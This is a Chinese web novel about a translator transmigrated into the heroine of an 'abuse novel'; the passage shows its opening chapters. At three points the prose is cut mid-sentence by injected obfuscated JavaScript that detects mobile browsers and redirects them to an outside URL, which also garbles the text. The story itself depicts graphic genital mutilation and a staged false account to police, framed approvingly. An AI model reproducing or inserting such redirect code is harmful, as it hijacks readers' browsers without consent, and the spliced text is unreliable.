《虐文女主,但ISTJ》 1. 听说我是虐文女主? 段黛睁开眼睛时,四周黑漆漆的。自己坐在出租车后座上,前面有一个驾驶员。 车内有种长期不通风而特有的味道,闻着叫人几欲作呕。她手里拿着手机,里面传来不满的声音:“……你都回来这么多次了,用不着每次都是我去接吧?” 哎? 段黛愣了一下,自己不是正在电脑前发邮件吗? 看着现在周围陌生的一切,段黛萌生了一种荒谬的想法。 ——她不会是……穿越了吧? 下一瞬,原主的记忆如潮水般涌入段黛的大脑,让她迅速了解了这局身体原主的处境。 今天原主下飞机,因为航班的时间很晚,所以父母叫她的哥哥段墨来机场接她回家。然而今天恰好还是哥哥暗恋的人鹿颖出国的日子,所以段墨放了她的鸽子,去送鹿颖出关了。 这本名叫《无人爱她》的虐文小说,段黛是看过的。鹿颖不仅是段墨暗恋的人,还是男主陈方烨——女主的恋人的初恋。按照愿剧情,这个时候去送鹿颖的不止有段墨,还有陈方烨。 原主拖着行李箱在到达大厅等到双腿发麻,打了电话才知道根本没有人来接她。 而现在,原主已经坐上了出租车,正委屈地质问哥哥呢。 没想到段黛在这个时候穿过来了。 段黛冷笑一声,掐着电话抬高了音调:“你不来接不能提前说一声吗?你如果早说来不了我自己坐着地铁也回去了,犯得着在这一直等到地铁停运?段墨,我现在回去这么麻烦,可都是你的责任。” 电话那头的段墨一下子噎住了。他没想到总是一副受了委屈模样的妹妹会这样疾言厉色地指责他。他本想叫她独立点,可被段黛这么一说,好像问题确实出在自己身上。 段黛继续:“我本来可以自己回家的,这都是你逼的,你最好有点数。只有你的时间是时间,别人的时间都可以随便耽误了?” 段墨有些生气,却名不正言不顺,只能道:“你这不是没事吗……” 段黛冷笑一声:“我没事是因为我不是个废物,而不是因为你没有错。” 段墨彻底哽住了。 段黛觉得跟这种不知死活的人多说话都是浪费生命,于是她干脆利落地挂断了电话。 坐在段墨对面的正是段黛的恋人陈方烨。刚才鹿颖就已经走了,现在只有两个人还留在这里。陈方烨看了一眼段墨:“她又闹了?” 段墨看着已经回到桌面的手机,叹了口气:“是啊。” 陈方烨略微蹙眉:“阿颖今天就走了,她怎么就不能让让她……” 段墨把那一点不安立刻咽回了肚子里去。 就是段黛不懂事,他们能有什么错?也该让她长长记性了。 路灯昏黄的灯光透过出租车的车窗,落在段黛的脸上又一路向后,形成条纹状的光影。 段黛抱着手臂,慢慢消化着现在的状况。 《无人爱她》这本书是第一人称,女主全程都是“我”如何如何,以至于读者们一开始都不知道主角叫什么名字,直到最后其他人追悔莫及喊出“阿黛”的时候,才知道女主的名字中有个“黛”字。 没想到好巧不巧,女主的全名也是段黛。 出租车司机沉默地开着车,段黛沉默地坐在后排座位上。半个小时过去后,段黛彻底适应了原主的记忆。除了原女主的身份,段黛还记得一些原文的内容。虽说原书是短篇,很多情节写的都像个大纲,但也算是给了段黛一点预知的能力。 然后她意识到了一个新的问题。 在原书的这个情节里,女主意识到自己被段墨放了鸽子后就打了车回家。然而下车之后,在回家的那一小段路上,她遇到了流氓。 虽说后面有好心人出手赶走了流氓,但当时女主的衣服被撕坏了大半,即便身体上没遭受实质性的伤害,精神上也是濒临崩溃了。然而当她向哥哥和恋人哭诉这件事时,他们却认为这是女主不满他们抛下她去送白月光而自己瞎编的,还板着脸狠狠责骂了她一番,让她别再闹脾气。 段黛看着窗外不断后退的风景,缓缓抿起了唇。 看来,自己一下车,就会迎来这个剧情点啊。 行李箱此刻放在后备箱里,原主只随身背了一个双肩包。段黛把放在一边的双肩包拖了过来,随着“哧”的一声响,她拉开了拉链。 包里有一本厚实的精装法文专著,还有一些文具和纸质资料。原主和段黛一样是一名翻译作者,这次出门好像也是为了搜集资料,随身携带这些倒也不奇怪。 段黛从笔袋里只找到一只像钳子一样的单孔打孔器。其他的文具都很圆润,根本没有什么攻击性。段黛本来希望能找到一个圆规之类的东西来防身的,现在想来翻译作者也用不上圆规,倒是她想多了。 段黛重新拉上背包的拉链,忽然意识到原主和自己的重合度还真挺高的。段黛自己也是一名英语兼法语翻译,可惜合作的出版社很小,她能接到的翻译任务很少。 哪像原主这样手握强大资源,想翻译什么就能翻译什么。 这样的原主居然放着老本行不做,去给男主的创业铺路。忙活到最后好不容易以为自己能享受胜利的果实了,结果又被男主这个老六把成果薅走了。 真是个蠢货。段黛轻嗤一声。 不知不觉间,出租车已经到了段黛租住的小区附近。一直没说话的司机提醒她带好随身物品,段黛点头表示感谢,接着就下了车。 拎上行李箱后,段黛大步流星地向着家的方向走去。 毕竟是三更半夜,路上压根就没有人。段黛留心听着四周的声音,但也只听到了行李箱轮子在地面上滚动时刺耳的噪音。原文里只说了会在下车之后遇到流氓,但也没说是在哪碰到的,叫段黛也没法提前避开,只能试探性地走着。 眼瞧着就要绕过公园到家了,段黛怀疑这个剧情应该是不会出现了。 然而随着一个拎着酒瓶子的黄毛从街角窜了出来,这个想法转瞬即逝。 “美女一个人啊?” 黄毛满脸横肉,看着应该有四五十岁了。段黛一言不发,拖着行李箱加快了脚步。 谁知黄毛一把抓住了她的手腕,笑得色咪咪的:“这么晚了还在外面,不就是想要艳遇嘛。来,和哥哥一起……” 话还没说完,他腿上就挨了重重的一下。只见段黛单手拎起了她那28寸的行李箱,抡起来恶狠狠地砸在了黄毛的腿上。黄毛一个踉跄跌倒在地,恼火道:“你个贱货敢打……啊——” 甩开了黄毛的手之后,段黛能够双手一起拎 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253427|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 箱子了。本来只能勉强抡起来的箱子被她举过了头顶,接着“砰”的一声砸在了黄毛的头上。头顶一阵钝痛黄毛眼冒金星,趴在地上彻底起不来了,嘴里还骂骂咧咧的。 段黛面无表情地夺过了他手里的酒瓶子,在他脑袋边猛地敲在了地上。 “啪——” 黄毛看着玻璃瓶子在眼前碎了,瞬间吓得腿都软了。 一股腥臊味儿传来,这流氓居然尿了裤子。 “美女我错了,有话……有话好好说……” 段黛冷笑一声,本想离开的。然而在她直起腰的瞬间,原文的一段文字突然浮现在她的脑海之中。 最后杀害女主的凶手,就是当时试图强女干却失败了的这个黄毛! 他再次见到女主落单便起了色心,那时候可没有什么好心人了。得逞之后他又害怕女主报警,于是直接杀了女主分尸。 想起这段情节后段黛气血上涌,她猛地扭过头来,却看到方才还在求饶的黄毛居然想要伸手去掀她的裙子。见着人回头,黄毛哆嗦了一下:“我不敢了,我真的不敢了?” “谁信啊?” 段黛恶声恶气地上前一步。她手里还握着碎了半截的啤酒瓶子呢,看着流氓浅色裤子上被水浸湿的那一块,毫不犹豫地伸出握着酒瓶子的手捅了上去。 “啊——” 黄毛的惨叫声响彻夜空,段黛确定锋利的边缘是插到肉里之后又转了转:“就算这玩意儿没了,我也不信你能悔改。” 说着她拔出了酒瓶子,对着那个位置反复锤了下去。剩下的半截酒瓶子一点一点的碎裂,玻璃碴子伴着流氓的惨叫声散落的到处都是。 在求生的意志下,黄毛一用力,硬是直起身子来将段黛推到一边去。段黛趔趄了一下摔倒在地,胳膊摩擦过粗粝的地面留下道道血痕。但她就像是感觉不到疼一般,爬起来又追上了正连滚带爬逃跑的黄毛,把剩的最后一截啤酒瓶细长的颈插到了他屁股缝中间的位置。 “你不是老爱问别人喜不喜欢被插的滋味吗,现在怎么样,喜不喜欢,嗯?” 段黛一脚踩住了他的腿,看着黄毛的身下殷红一片,笑着把瓶子越推越深。 “松开啊你个变态,快松开我,贱货,表子……” 逃跑失败的黄毛口不择言起来,说时迟那时快,段黛掏出了塞在上衣口袋里的打孔器,一下怼到了黄毛的嘴上。前边的挡片压住了脸上的皮肤,还让他疼的喊了一声。段黛调整了一下角度,让打孔器正好夹在他口腔里外两侧,接着双手用力按到底。 圆形的刀片扎入皮肉,黄毛惨叫连连。 段黛嫌弃地拍了拍他的脸:“肥猪,你太胖了,孔没打出来呢。” 黄毛嘴里还含着打孔器,眼泪鼻涕一起淌了下来,含糊不清地哭叫着:“救命……救命……” “你在干什么?” 背后传来一阵声音,段黛扭过头来。 只见一个穿着宽松篮球服的年轻男人站在路灯下,光线勾勒出他身上结实的肌肉线条,无声地昭示着此人健身的成果。 段黛忽然意识到,这可能就是在原文里,赶走了流氓的“好心人”吧。 她嘴角上扬,弯起一个诡异的弧度。 “如你所见,我在正当防卫啊。” 2. 英雄救…… 救不了一点儿 黎尚轩从健身房回来,老远就看到了那个总在绿化附近向女生吹口哨的黄毛,他正拉着一个女生的手,看着似乎是要做点什么的样子。这个时间还落单的女生碰上这个黄毛准没好事,黎尚轩心里咯噔一下,立刻追着跑了过来。 只是在追来的时候,他听到的声音似乎不太对劲。好像不是女生的尖叫,而是……那个黄毛的惨叫? 没想到他转过街角之后,看到的却是这般景象。 玻璃渣子碎了一地,总对小姑娘动手动脚的黄毛正满地乱爬。地上有几道拖拽一般的血痕,一个扎着马尾辫穿着长裙的女孩正一脚踩在他的腿上。 还有一只行李箱,孤零零地躺在一边。 这个黄毛总在这附近晃悠,有人报过警,最后都因为没发生实际伤害而不了了之了。时间一长,这片绿化区几乎都没什么人来了。 在对上段黛似笑非笑的眼神时,黎尚轩莫名想到一个词——大快人心。 黄毛见有人来了,立刻痛哭流涕道:“救命,救命……” 他嘴里还订着那个打孔器,说话都含含糊糊的。 段黛一脚踩在黄毛的后腰上,慢慢直起腰来,看着黎尚轩:“他喊救命呢,你要救他吗?” 黎尚轩沉默片刻,问:“他是不是想猥亵你?” 段黛点了点头,睁着眼睛说瞎话:“是啊,我差点就要被他得手了。” 黎尚轩:“所以现在你是在正当防卫。” 段黛:“是啊。” 话音刚落,那黄毛突然暴起,抓着段黛的脚踝把她推倒在地。在即将被掐住脖子的时候,段黛反手给了黄毛两巴掌。黎尚轩见状迅速上前,一把将黄毛拉开了。 “还是得小心点,不能大意啊。” 黎尚轩看着她好像意犹未尽的样子,脑中莫名生出些许兴奋来。他道:“要不要……我帮你按着手?” 段黛微微挑眉,片刻后露出了一丝笑容。把人恶狠狠地揍了一顿之后,她也算是冷静了下来。现在她把黄毛打的这么惨,万一他死在这明天有人报案把她列成了杀人凶手…… 得先把问题解决掉。 “要不你先帮我报警吧。” 段黛从地上爬了起来,活动了一下手指关节,伸手去拔那个打孔器。鲜血和口水一起从黄毛的嘴角里淌了出来,她嫌弃地“噫”了一声:“脏死了。” 黄毛两只手乱挥,反抗间倒也扇了段黛两巴掌。不过这点小伤根本不算什么,段黛一用力,把打孔器从他嘴里拔了出来。 黎尚轩一边压着黄毛的手,一边顺从地摸出了手机,拨了110。简单说明了情况之后,他挂断了电话。 段黛有些意外:“你还真帮我按着他的手啊?” 黎尚轩另一只手按亮了手机:“警察的速度应该挺快的,在他们到之前,你想做什么就快点做吧。” 黄毛大叫一声,然而他现在嘴上开了个洞,说话都漏风,旁人也听不清他到底说了什么。段黛思考了一会儿,拿着打孔器卡上了他嘴巴的另一边:“这边也给你打上吧,对称。” “呜呜啊啊啊啊——” 听到警笛声时,段黛松开了手指,让打孔器就这样订在黄毛脸上。接着她扯乱了自己的头发,撕开了自己的衣服,往地上一坐,然后呜呜的开始哭。 哭是不可能哭的,段黛根本挤不出眼泪来,她就是装一下委屈而已。 黎尚轩目瞪口呆地看着她行云流水地完成这一套动作。 赶来的警察们为段黛披上了毯子,转头看到流氓的惨状时还是吓了一跳。段黛呜咽道:“我太害怕了,就……就抢过他的啤酒瓶子打他了……” 黎尚轩干巴巴道:“对,就是这样的。” 凌晨三点,段黛和黎尚轩坐在派出所里做笔录。黄毛的情况太严重了,所以直接被送去就医了。 警察们对这个黄毛也挺眼熟的了,知道他到底是什么德行。虽说被打成这样很出乎人的意料,但没有人不信段黛是正当防卫的说辞。 “不过……段小姐,你为什么要在他脸上……打孔?” 要把打孔器卡上去还是很需要技巧的,不像是情急之下能做出来的事情。 段黛抹着眼角并不存在的眼泪,啜泣道:“他想来强吻我,我感觉他的嘴好恶心,所以看他动不了了我就想把他的嘴缝上……但是我没带订书机,只有一个打孔器……” 虽说有点恶意报复的意思,但这样也显得更真实。警察们都知道没有完美受害者,与其支支吾吾说不出个所以然来,倒不如坦白承认她就是故意的。 果然警察也没有苛责她什么,只是点了点头。 有女警拿着药箱帮段黛上药,还鼓励她道:“你真的很厉害!遇到歹徒就应该奋力反抗,别怕什么失手杀人,咱们宁可见法官也不能见法医!” 段黛低着头:“也不知道那个流氓的亲戚会不会为难我……” “没事,警察会保护你的。” 话音刚落,派出所的大门就被推开了:“你好,我是……” 段黛扭过头来,看到了本书的男主——陈方烨。 陈方烨在看到段黛时瞬间愣住了,声音戛然而止。女警站起身来:“你就是钱耀祖的……外甥还是侄子的,是吧?” 陈方烨刚刚开车回家的时候,派出所打电话给他,告诉他的小舅舅钱耀祖强女干未遂,被受害女生反杀打进了医院。 陈方烨这个小舅舅年轻时不学无术在外面做混混,现在四五十岁了自以为是什么□□,实际上就是街边的二流子。陈方烨的母亲到底狠不下心来完全不管这个弟弟,时不时给点钱接济他,叫他不至于饿死。 没想到捅出这么大一个篓子来。 看到段黛脸上的巴掌印和胳膊上的擦伤时,他先是心疼了一瞬,紧接着反应了过来:“你难道就是那个……” 段黛蹙眉:“那个黄毛居然还是你亲戚啊?” 女警看了一眼陈方烨,转头又看了一眼段黛:“你们认识?” 段黛:“是朋友。” 陈方烨:“她是我女朋友。” 两人同时开口,随后都愣了一下。陈方烨没想到一向对自己爱的要死要活的段黛居然只说他们是朋友,一时间有些难以置信。 “你……生气了?” 他走到段黛身边坐下,像从前一样试图去握她的手。然而段黛皱着眉“嘶”了一声:“我胳膊上有伤,你没看见吗?” 女警了解了情况后也拉下脸来:“女朋友被自己舅舅差点强女干,你这男朋友上来问她生没生气。怎么,要给你那个强女干犯舅舅开脱吗?” 说着她又对段黛道:“你可别恋爱脑上头就这么原谅犯人了。” 段黛微微一笑:“我会继续追究法律责任的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253428|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,放心。” 陈方烨的脸色有些难看。他想搂着她的肩膀,但看着她胳膊上触目惊心的血痕,竟也不知道该怎么动了。 “这……是怎么回事啊?你怎么会碰到我舅舅?” 段黛淡淡地瞥了他一眼:“我就住在这,反倒是你舅舅怎么会在这里?” “我……” 一直坐在一边的黎尚轩忽然道:“你怎么现在这个时间拖着行李箱走在外面,这么晚了叫朋友出来接应你一下,估计就不会碰上这种事了。” 段黛嗤笑一声:“谁叫我活该倒霉呢,在机场等了四个小时才知道没人来接我,只能自己打车回来了。” 女警皱眉:“谁啊,不能来也不提前说一声。要是四个小时前还不至于大半夜的外面没人呢。” 陈方烨的脸色又白了几分。 是他和段墨说的,要让段黛长点记性的。 只是他不知道这记性会是这样…… “你是想让我不追究你舅舅的刑事责任吗?”段黛瞥了他一眼,“放心好了,就算他死在医院里了我也会追究的,让他的亲戚以后政审都受影响。” “我不是……” 陈方烨头一次有这种苍白无力的感觉。他也很讨厌这个小舅舅,也并没有要段黛看在他的面子上放过小舅舅一马的意思,政审什么的他更是没想到这一层。但段黛懒得听他解释:“到底是有血缘关系,打断骨头连着筋,谁知道你怎么想的。” 陈方烨百口莫辩。 倒打一耙这一招,段黛还是跟书里的这几个男人们学的。《无人爱她》这本书里,女主被虐的一个主要原因就是身边人不由分说地倒打一耙。他们自顾自地认为女主就是在无理取闹或者图谋不轨,先入为主的认为女主就是心思歹毒,对于女主的辩解充耳不闻。 段黛很喜欢看他这副哑口无言的模样。她欣赏了一会儿自己的战果,转头问警察:“不知道那个流氓情况怎么样了?我会被认为是防卫过当吗?” 坐在办公桌后面的警察看了一眼手机:“嗯……医院那边说,钱耀祖生zhi器被严重破坏,钢门还进了玻璃渣……” 陈方烨目瞪口呆地看着段黛。这是她打的? 警察最后简单概括:“以后应该都没有生育能力了。钢门那里还在治疗,但是有大小便失禁的风险。” 段黛小声嘟囔了一句居然没死啊,警察们没听见,但是陈方烨听见了。 “你想让他死?” 段黛面无惧色:“他不该死吗?” 这个祸害还活着,她将来就有被杀害的风险呢。段黛忽然有些后悔,早知道对着他的喉咙也捅两下了。 陈方烨的喉结上下滚动了两下:“即便你知道了他是我舅舅……你也想让他死?” 段黛白了他一眼:“你有病吧?” 陈方烨猛地站了起来:“你在乎过我的感受吗?” 段黛往旁边挪了挪,在心里骂了一声癫公:“我还得找他索要赔偿呢,精神损失费和医药费一分都不能少。” 陈方烨难以置信地看着她:“阿黛,你怎么变成这么冷漠的人了?你以前不是这样的……” 段黛皱着眉:“你说这些没用的干什么?那个流氓有钱赔我吗?没钱的话你这个外甥就得想想办法了。” 她盯着他的眼睛,一字一顿道:“我是绝对不会放过他的。” 3. ISTJ,发疯也要在规则之内 陈方烨呼吸一滞。 一直以来,段黛对他都是和颜悦色的,哪怕是受了委屈也只会哭,从来不会说他一句重话。 然而今天…… 段黛站起身来了,对警察们道:“没什么事的话我就先回去了,如果还有什么可以联系我。” 警察点了点头:“黎先生也可以先回去了。” 于是一直坐在一边不说话的黎尚轩也站了起来。 段黛和黎尚轩两人一前一后的出了派出所,陈方烨急了,想要追出去质问。然而警察却叫住了他:“陈先生,你还不能走。” 陈方烨:“……” 出了派出所的大门之后,段黛转头对黎尚轩道:“今天还要多谢你了。” 倒不是谢他见义勇为……主要是他在警察面前真的配合了段黛小白花的表演来胡说八道。这在原文里连全名都没出现过的好心人是真的好心,她需要什么就能帮什么。 黎尚轩摆了摆手:“没事。” 段黛摸出手机来,向他看了过去:“要不要加个联系方式?以后可以请你吃饭。” 黎尚轩笑了笑:“不必了,举手之劳而已。” 见他拒绝,段黛也没再坚持。 擦伤的手臂已经被贴心的女警缠好了纱布,回到家后段黛倒头就睡。 段黛这一觉睡得很死,她先是想起来自己穿越前的事情,终于记起来自己似乎是工作猝死了才来到这里的。接着原主的记忆就又一次在她的脑海中演绎,似乎在这一晚更加深入地融入了段黛的骨血,叫她在睡梦中都忍不住想要狂扇巴掌。 直到一阵叮铃铃的手机铃声响起,段黛才从原主那憋屈的人生中清醒过来。她猛地从床上坐了起来,脸上火辣辣的有些肿胀,四肢则像是使用过度了一般,从关节里生出来疼。 她全身都被汗水浸透,头发被打湿成了一绺一绺的,看起来就好像是刚从水里捞了出来。段黛愣愣地看着屋子里陌生又熟悉的陈设,脑子里蹦出了“我是谁”“我在哪”这种愚蠢的问题。 她是段黛。 同时她还穿成了虐文女主段黛。 这里是原女主的家,当然以后也就是她的家了。 “叮铃铃——” 手机铃声再次响起,段黛这才掀开被子手忙脚乱地找到了手机。来电显示的“宝贝”差点闪瞎了段黛的眼,她盯着屏幕迟疑了一会儿,最终滑了挂断。 她点开聊天框,把输入法的九键换成了二十六键,接着编辑消息发了过去:【什么事?】 “宝贝”却迅速弹出消息:【你挂我电话?】 段黛觉得有些好笑:【什么事非得打电话?有事发消息说吧。】 片刻后,“宝贝”道:【阿黛,你下手太重了,我舅舅以后要大小便失禁了。】 段黛这才意识到“宝贝”好像是原主给陈方烨的备注。顶着这个名聊天是在是太扎眼了,她赶紧点开资料把备注改成了“陈方烨”三个字,然后返回聊天界面:【这不是没死吗?】 陈方烨:【你怎么说话的?】 陈方烨的头疼的厉害。 大半夜的在派出所处理完事情之后,他又去了医院缴纳钱耀祖的医药费。陈方烨的母亲钱婷婷,也就是钱耀祖的姐姐,在得知弟弟被达成这样之后瞬间崩溃,说什么都要让“凶手”负责。 陈方烨拗不过母亲,只能带着钱婷婷又去了派出所。谁知好几个年轻姑娘站在里面,她们听说钱耀祖被“制裁”之后自发地来为段黛作证,证明钱耀祖已经是对女孩动手动脚的惯犯了。有人甚至拿了一面锦旗出来,说要表彰段黛为民除害。 一听钱耀祖的家属来了,一群人立刻转头瞪着母子二人,那眼神几乎要把他们戳出一个洞来。陈方烨被母亲掐着,只好硬着头皮问:“这种算……算防卫过当吗?” 钱婷婷尖叫一声:“防卫?这明明就是蓄意谋杀!” 还不等警察开口,女孩们就冷笑了起来:“那个黄毛天天在这猥亵女孩,要是碰上胆子小的说不定就已经被强女干了。昨晚的姑娘要是不反抗,现在进医院的还不知道是谁呢。” 立刻有人附和:“这明明就是正当防卫,怎么能算过当?” “还谋杀呢,听说那个黄毛叫耀祖?大妈,当了多少年扶弟魔了还没清醒呐?” 警察开了口:“受害人要追究钱耀祖的责任的,你们还是先准备一些吧。” “什么,她有什么资格追究耀祖的责任……” 陈方烨的脸上红一阵白一阵,在众人杀人一般的目光中拉着喋喋不休地母亲离开了。 回到病房之后,陈方烨好说歹说,才让钱婷婷接受了钱耀祖不仅被揍到生活不能自理是活该倒霉,还有可能要负刑事责任这件事。她抹着眼泪:“那怎么办啊,你舅舅都这样了……总不能让他去蹲监狱吧?” 陈方烨一夜没睡,现在一个头两个大,只好又来找段黛求她和解。 【你下手太重了,可能会被认为是防卫过当负刑事责任。不如咱们直接和解,你不追究我舅舅的过错,我们也不追究你的责任,怎么样?】 片刻后,屏幕上跳出了段黛的消息:【没事,该是我的责任我会担着的。】 陈方烨一时间气血上涌,脑子轰的一下炸了。她什么时候变成这样油盐不进的人了? 他“咣”的一下坐在走廊的长椅上,抖着手给她发消息:【你能不能不要无理取闹?我妈还想找你要赔偿费呢,现在我们互相不追究,对彼此不是都好?】 段黛常年敲键盘手速飞快,哪怕是手机上那么一点键盘也丝毫没碍着她敲字的速度。 【你急了?】 【搞清楚,理亏的是你们,到时候也该是那个黄毛赔我精神损失费。不是谁无理取闹谁就能如愿的。】 段黛又拍了几张自己身上伤痕的照片:【昨晚我也做伤情鉴定了,还真不一定就是过当呢。】 【不让那个黄毛付出代价,算我段黛无能!】 陈方烨发消息没有她快,急得竟是发起了语音:“你这样闹,以后我们结婚了还怎么过?你让我妈怎么看你?” 段黛最讨厌别人发语音:【你普通话不标准,识别不出来文字。】 陈方烨:“……我普通话怎么就不标准了?” 段黛压根就没点语音转文字。她懒得听他说了什么,所以直接这么糊弄他。 【想道歉就要有个道歉的态度,颐指气使的装你大爷呢?】 【我还是太给你脸了,才叫你分不清谁是孙子谁是爷。】 【以后这种无意义的屁话不要发过来耽误我的时间。】 “你 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13253429|139721||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ……” 陈方烨气急败坏,对着手机大吼了一声:“记住你今天说的话,以后有你后悔的!” 周围的人都用一种诡异的眼神看着陈方烨,察觉到目光后,他抬起头来时也感到有些尴尬。他拿着手机赶紧回了病房,冷笑着将段黛拉进了黑名单。 从前段黛就说不要总提分手,她会很伤心。每每陈方烨不如意时,提分手这招百试百灵,她会痛哭流涕地顺从他的要求,只求他别总说分手。有时气的狠了,就把人删掉或者拉进黑名单,不用多久她就会找回来跟他道歉。 这次的程度很严重,所以陈方烨直接把人拉进了黑名单。要不了多久,段黛就会哭着回来求他的。 钱婷婷担心地看着陈方烨:“……怎么样?” 陈方烨重重呼出一口气,安抚他的母亲道:“没事的,我能解决的。” 发完消息之后,段黛就把手机丢到了一边。她起床洗了个澡,换了身宽松的居家服,接着按照原主的记忆找出药箱来给胳膊换纱布。 看到镜子里自己那张有几分滑稽的脸,段黛倒吸一口冷气。脸上的五指印红肿地异常明显,胳膊上的纱布渗了血,一看就是一副被霸凌后死里逃生的模样。 “……这样可出不了门啊。” 不过倒也没什么,段黛本来就不喜欢出门。原主和她都是文学翻译,所以也不需要出门上班。这样一来在家里养伤也好。 她煮了个鸡蛋,一边按照网上搜到的方法在脸上慢慢滚着,一边走到了书房里。她记得原主好像有几份文稿快到交稿日期了,她得赶紧核对一下。 打开电脑,按照记忆里的信息登录了邮箱,段黛仔细审查了一番。值得庆幸的是原主欠下的“债”并不多,只有一份叫做《小姐曾说》的小说译文需要七天后交。除此之外,原主在两年前似乎还立志要翻译一部古英文的大部头文献,当时兴冲冲的和出版社约了稿,结果被原主无限拖延,也就这么不了了之了。 原主开天窗这事好像成习惯了,编辑与出版社似乎也早就熟知她的尿性了。但是因为原主的译文确实是慢工出细活,所以哪怕超出了交稿日期出版社也愿意等她。 段黛伸了个懒腰,拖延可不好,任务得按时完成才行啊。 找东西的时候她翻到一份公寓楼盘的宣传页,有一个地方还用红笔画了一个圈,写了“送给哥哥做画室”几个字。 段黛沉默了一会儿,把宣传页撕碎了,扔进了垃圾桶。 她打开了原主已经写了一半的翻译文件,读了两页之后很是诧异。通常来说外文的作品在翻译成中文之后能明显感觉到有点翻译腔的意味在,但原主的译文打开之后非常“亲切”,不知道的还以为是国人自己写的小说,完全看不出有经过翻译的痕迹。 段黛又打开《小姐曾说》原书看了一下,将同一部分的内容进行了对比。读完之后确实两方表达的都是一个意思,原主也没有做什么歪曲。但原主似乎是从华国人的角度出发,对不少部分进行了调整,所以才看起来就好像中文土著作品一般。 “再创作的程度比较大啊……” 正在段黛研究原主的译文风格时,丢在一边的手机忽然亮了起来,段黛扭过头去,是妈妈发来的消息。 【难得你和你哥都有空,今天中午回家吃饭吧?】 4. 就是你在这又当又立的啊 明明现在这副尊荣不适合出门,但架不住计划赶不上变化,父母邀请还是得去的。 按照原主的记忆,原主的父母对她这个女儿很好。由于她比哥哥更有出息,父母也以段黛这个女儿为骄傲。每次教训哥哥段墨时,也会时常把“你要是像你妹妹一样争气就好了”挂在嘴边。 “要是提前说一声就好了,现在真是太匆忙了……” 段黛找了个口罩出来戴上,但还是有些红肿是很难被盖住的。最后她不得不又找了个棒球帽戴上,这样才不至于让人一眼就看出来她脸上的异常。 收拾好之后,段黛出了门。坐在地铁上时段黛发现自己虽然戴着眼镜但看东西依然有些模糊,想来也该再配一副了。原主似乎经常戴隐形眼镜出门,框镜反而不常用,所以才会一直用着不合适的眼镜。 段黛嫌隐形眼镜麻烦,除非必要,否则只会戴框镜。 自从段黛和段墨都在临安市定居之后,段父段母也从老家搬来了临安。段黛在穿书前和自己的父母亲情淡漠,现在即将面对原主的父母,倒是多了几分忐忑。 门“吱呀”一声开了,一个慈爱的女声从门后响起:“黛黛回来啦?怎么又戴帽子又戴口罩的……” 门里的女人个子不高,身上穿着深蓝色的家居服,看着倒没有很老。头发还是全黑的,只是眼角有些细纹。面前人的形象与原主记忆中的妈妈重合,段黛感觉到内心深处源自原主的那份感情:“妈。” 关上门之后,赵玉兰伸手摘掉了女儿的帽子和口罩,在看到她脸上的巴掌印时瞬间呆住了:“这是怎么回事?谁欺负你了?” 段黛一时间不知道该作出什么反应,竟是愣在了原地。在穿书之前,如果她受了什么委屈,回家跟父母说时得到的只有奚落。他们会说“怎么只欺负你不欺负别人”,或者“苍蝇不叮无缝的蛋”。久而久之,段黛也对他们没了期待。 如今有人会问自己受了什么委屈,这种体验还真是奇妙。段黛吸了吸鼻子:“已经没事了。” “怎么了,谁欺负咱家闺女了吗?” 段光耀闻声从卧室里走了出来,看到女儿脸上的惨状后也是瞪圆了眼睛:“怎么回事?” 段光耀中等身材,肚子有些发福,但并不过分,也是一副慈眉善目的模样。 段黛脱掉了防晒衣,露出了胳膊上的纱布。段光耀接过防晒衣,看到她的手臂“呀”了一声:“谁打的?敢欺负我闺女!” 夫妻二人扶着段黛到沙发上坐下,段黛做了个深呼吸让自己重新平静下来,接着讲了昨天晚上的事情。 考虑到父母年纪大了,段黛没说自己差点被强女干的事情,只说自己被小混混缠上了。 “放心,我拿着行李箱恶狠狠地砸了他的头!那个混混可比我严重多了。” “老段快从冰箱里拿个鸡蛋出来,”赵玉兰支使着段光耀,接着一脸心疼地伸出手来,想要摸摸段黛的脸又怕她疼,“这得多害怕啊……” 段黛吸了吸鼻子,到底还是没哭出来。她笑着握住了赵玉兰的手:“妈,我没事。” 心疼过之后,赵玉兰生起气来:“我明明叫你哥哥去接你一下,他干什么去了!怎么能让你在机场等到那么晚!” 话音刚落,一阵敲门声响起,想来是段墨到了。赵玉兰正要起身,段黛按住了她:“我去开吧。” 门外站着一个有些瘦弱的男人,身上穿的衣服好像是给一条围巾扣了个洞缝出来的。各种流苏随着边缘垂了下来,看起来颇为滑稽。段黛愣了一会儿,才意识到这个试图凹艺术感穿搭的男人就是她的哥哥段墨。 门开之后,段墨看到段黛脸上红肿到发紫的五指印时愣了一下,紧接着又看到她手臂上渗了血的纱布:“你这是怎么了?” 